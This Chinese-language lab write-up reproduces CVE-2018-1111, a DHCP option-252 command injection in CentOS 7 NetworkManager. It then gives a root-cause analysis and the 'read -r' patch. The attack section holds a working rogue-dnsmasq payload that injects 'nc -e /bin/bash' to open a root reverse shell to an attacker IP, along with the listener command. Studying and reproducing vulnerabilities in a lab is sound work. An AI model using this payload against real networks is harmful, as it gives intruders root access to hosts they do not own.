CVE-2018-1111 DHCP注入漏洞原理与重现利用

一、漏洞介绍

在2018年5月,在多个版本的Red Hat Enterprise Linux(CVE-2018-1111)中的DHCP客户端软件包中包含的NetworkManager集成脚本中发现了命令注入漏洞,该漏洞已经过修补。攻击者可以通过使用恶意DHCP服务器或本地网络上的恶意欺骗性DHCP响应来攻击此漏洞。成功的攻击可以使用配置了DHCP的NetworkManager在系统上执行具有root权限的任意命令。(详细信息见附录)

影响版本:CentOS 7版本以及下表

CVE-2018-1111 DHCP注入漏洞原理与重现利用

二、实验环境配置

1、实验机器

黑客机: kali linux 2018 x64 IP:192.168.231.10

靶机: Centos 7 x64 IP:192.168.231.21

2、实验工具:DNSmasq

DNSmasq是一个小巧且方便地用于配置DNSDHCP的工具,适用于小型网络,它提供了DNS功能和可选择的DHCP功能。它服务那些只在本地适用的域名,这些域名是不会在全球的DNS服务器中出现的。DHCP服务器和DNS服务器结合,并且允许DHCP分配的地址能在DNS中正常解析,而这些DHCP分配的地址和相关命令可以配置到每台主机中,也可以配置到一台核心设备中(比如路由器),DNSmasq支持静态和动态两种DHCP配置方式。

3、网络配置

打开VM虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

将黑客机、靶机网络配置成仅主机模式:

??¤?????????alt?±???§?????????????????????15454083691.png

CVE-2018-1111 DHCP注入漏洞原理与重现利用

三、实验步骤

1、配置网络(也可以在网络设置中配置)

先在kali下设置一下网络,现在设置IP为192.168.231.10

ifconfig eth0 192.168.231.10 netmask 255.255.255.0

route add default gw 192.168.231.10

CVE-2018-1111 DHCP注入漏洞原理与重现利用

2、配置dhcp服务

在当前目录新建一个dnsmasq.conf文件(vi dnsmasq.conf),填入以下内容进行配置:

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.231.20,192.168.231.30,12h

dhcp-option=3,192.168.231.10

dhcp-option=6,192.168.231.10

log-queries

log-facility=/var/log/dnsmasq.log

参数解释:

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间

dhcp-option: 表示指定给 DHCP 客户端的选项信息

log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

3: 设置网关地址选项

6: 设置 DNS 服务器地址选项

252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf中的dhcp-range设置:

为 192.168.231.20-192.168.231.30/24 这个 ip 地址范围,租约时间为 12h。

dhcp-option 3 网关地址和 dhcp-option 6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。

3、命令注入

利用dnsmasq伪造dhcp服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf –dhcp-option=”252,malayke’&nc -e /bin/bash 192.168.231.10 6868 #”

CVE-2018-1111 DHCP注入漏洞原理与重现利用

CVE-2018-1111 DHCP注入漏洞原理与重现利用

同时监听6868端口:

nc -l -p 6868 -v

等CentOS 7重启断开网络重新连接时,shell就会反弹回来了并且拥有root权限:

CVE-2018-1111 DHCP注入漏洞原理与重现利用

现在,CentOS的ip也是由我们伪造dhcp服务分配的(范围在192.168.231.20~192.168.231.30)。

CVE-2018-1111 DHCP注入漏洞原理与重现利用

CVE-2018-1111 DHCP注入漏洞原理与重现利用

四、修补建议

及时更新Linux系统补丁

附件:漏洞详细介绍

1、初步介绍

NetworkManager是一个Linux程序,在配置DHCP网络模式时用于管理系统网络。在配置网络的情况下,NetworkManager将启动dhclient以发送DHCP请求,如图1所示。

CVE-2018-1111 DHCP注入漏洞原理与重现利用

图1.通过NetworkManager运行的dhclient进程

在上面的示例中,您可能会注意到另一个配置文件(/var/lib/NetworkManager/dhclient-eth0.conf)已从NetworkManager传递给dhclient。正如我们在以下示例中所看到的,默认情况下,dhclient配置为请求多个DHCP数据包选项,包括WPAD。

CVE-2018-1111 DHCP注入漏洞原理与重现利用

图2.传递给dhclient的配置文件

当dhclient发送DHCP服务器的初始请求时,它被配置为在请求中包含此WPAD(代码252)选项,如以下示例中所示:

CVE_3

图3.初始数据包中的DHCP请求WPAD选项

由于CVE-2018-1111漏洞,攻击者可以通过格式错误的响应对此DHCP请求进行响应。例如,攻击者可能会使用以下数据进行响应,如图4所示:

xxx’&touch /tmp/test #

CVE_4

图4.攻击者在DHCP响应中使用格式错误的WPAD选项进行响应

收到此响应后,默认的11-dhclient脚本最终会将此数据传递给eval()语句,这将导致通过touch命令创建/ tmp / test。

3、技术分析

在受害者系统收到格式错误的DHCP响应之后和创建/ tmp / test之前,还会发生许多其他事情。首先,dhclient将调用client_option_envadd()函数将值保存到变量中,这可以在下面的源代码中观察到。它通过client_envadd()函数在3154行专门执行。

CVE_5

图5.演示如何处理DHCP数据包选项的dhclient源代码

在上面的源代码中,在设置变量之前调用pretty_print_option()函数,它将通过在特殊字符之前添加(’\’)来清理值。比如:

‘角色将转换为\’

&字符将转换为\&

在我们的示例中,发送的初始数据如下:

xxx’&touch / tmp / test#

然后将转换为以下内容:

xxx \’\&touch / tmp / test#

这可以在下图中看到,此函数转换收到的数据:

CVE_6

图6.由pretty_print函数修改的示例WPAD选项

进行此转换后,它会继续调用check_option_values()函数,然后将值存储到变量中,它将检查以确定在给定某些选项的情况下它是否包含特殊字符。此类选项的示例包括提供HOST_NAME或DOMAIN_NAME时,如图7和图8所示。

CVE_7

图7.检查是否提供了特定选项的源代码

CVE_9

图8.在提供NETBIOS_SCOPE选项的情况下执行的代码

从代码中可以看出,未选中WPAD选项。因此,它没有经过额外的审查,这使我们能够通过DHCP响应中的此选项提供任何数据。

接下来,dhclient将通过传递的参数来启动/ usr / libexec / nm-dhcp-helper进程。然后将这些变量保存到dbus服务中。

另一个名为nm-dispatcher的兄弟进程由NetworkManager启动,然后从dbus服务中读取变量。它会将WPAD DHCP选项的值保存到环境变量名DHCP4_WPAD,然后继续启动位于/etc/NetworkManager/dispatcher.d/中的11-dhclient脚本。看一下这个11-dhclient脚本,我们看到它包含以下内容:

CVE_10

图9. 11-dhclient脚本的内容

让我们深入了解这个脚本中正在发生的事情。在eval()语句中,它以“declare”命令开头。这个“declare”命令将输出系统上的所有环境变量。读者可能熟悉“env”命令,它以类似的方式运行。但是,虽然输出相似,但存在一些关键差异,如下图11所示。

CVE_11

图10. declare和env命令之间的差异

正如您在上面所看到的,“declare”命令将执行另外两项操作:

如果变量包含特殊字符,例如空格或单引号,则会在两侧添加’。

它将内部转换为(\’)(将一个字符转换为四个字符)。

由于变量值为xxx \’\&touch / tmp / test#,因此“declare”的输出将变为’xxx \’\”\&touch / tmp / test#’。

运行“declare”命令后,脚本将仅搜索以“DHCP4_”开头的环境变量。接下来是“读取”命令。如果未提供参数,则此命令将读取转义字符。

换句话说,\’将成为’

回到我们通过DHCP响应中的WPAD选项提供的数据,’xxx \’\”\&touch / tmp / test#’将变为’xxx”’&touch / tmp / test#’。换句话说,由于使用了没有任何参数的“read”命令,以前转义的字符未被转义。

其余命令将解析的环境变量数据设置为一系列变量。但是,最后一个命令包含可能被利用的代码。有问题的一行如下:

echo “export $optname=$optvalue”

使用我们的示例响应,将在系统上执行以下代码:

eval “$(echo “export new_wpad=’xxx”’&touch /tmp/test #’ “)”

这在图12中的命令行中进行了演示:

CVE_12

图11.评估基于WPAD DHCP选项提供的代码的示例执行

因为引号没有被转义,并且因为它后跟一个&符,所以它允许我们向这个eval()语句附加一个额外的命令。在我们的示例中,我们提供了’touch / tmp / test’的辅助命令,这导致我们在/ tmp /目录中创建一个名为’test’的空文件。

如果引号字符和&符号被转义,我们的攻击将失败,如下例所示:

CVE_13

图12.尝试使用转义的cahracters执行相同的代码

重要的是要注意其他字符可能用于执行此攻击,例如|要么 ;。

3、漏洞修复

在此特定实例中,修复非常简单。只需在“读取”命令中添加“-r”选项即可防止各种字符被转义,如下显示的修补程序所示:

CVE_14

图13. CVE-2018-1111的补丁

根据“read” (read命令用于从标准输入读取数值)命令的文档,“ – r”选项在参数输入中,我们可以使用’/’表示没有输入完,换行继续输入,如果我们需要行最后的’/’作为有效的字符,可以通过-r来进行。此外在输入字符中,我们希望/n这类特殊字符生效,也应采用-r选项。

read –r 可防止命令将反斜杠作为转义字符读取。换句话说,它将保留提供给它的数据中的所有反斜杠。这样做,它可以抵御命令注入攻击。

参考链接:
https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/

文章均为本站原创,转载请注明出处为安全吧!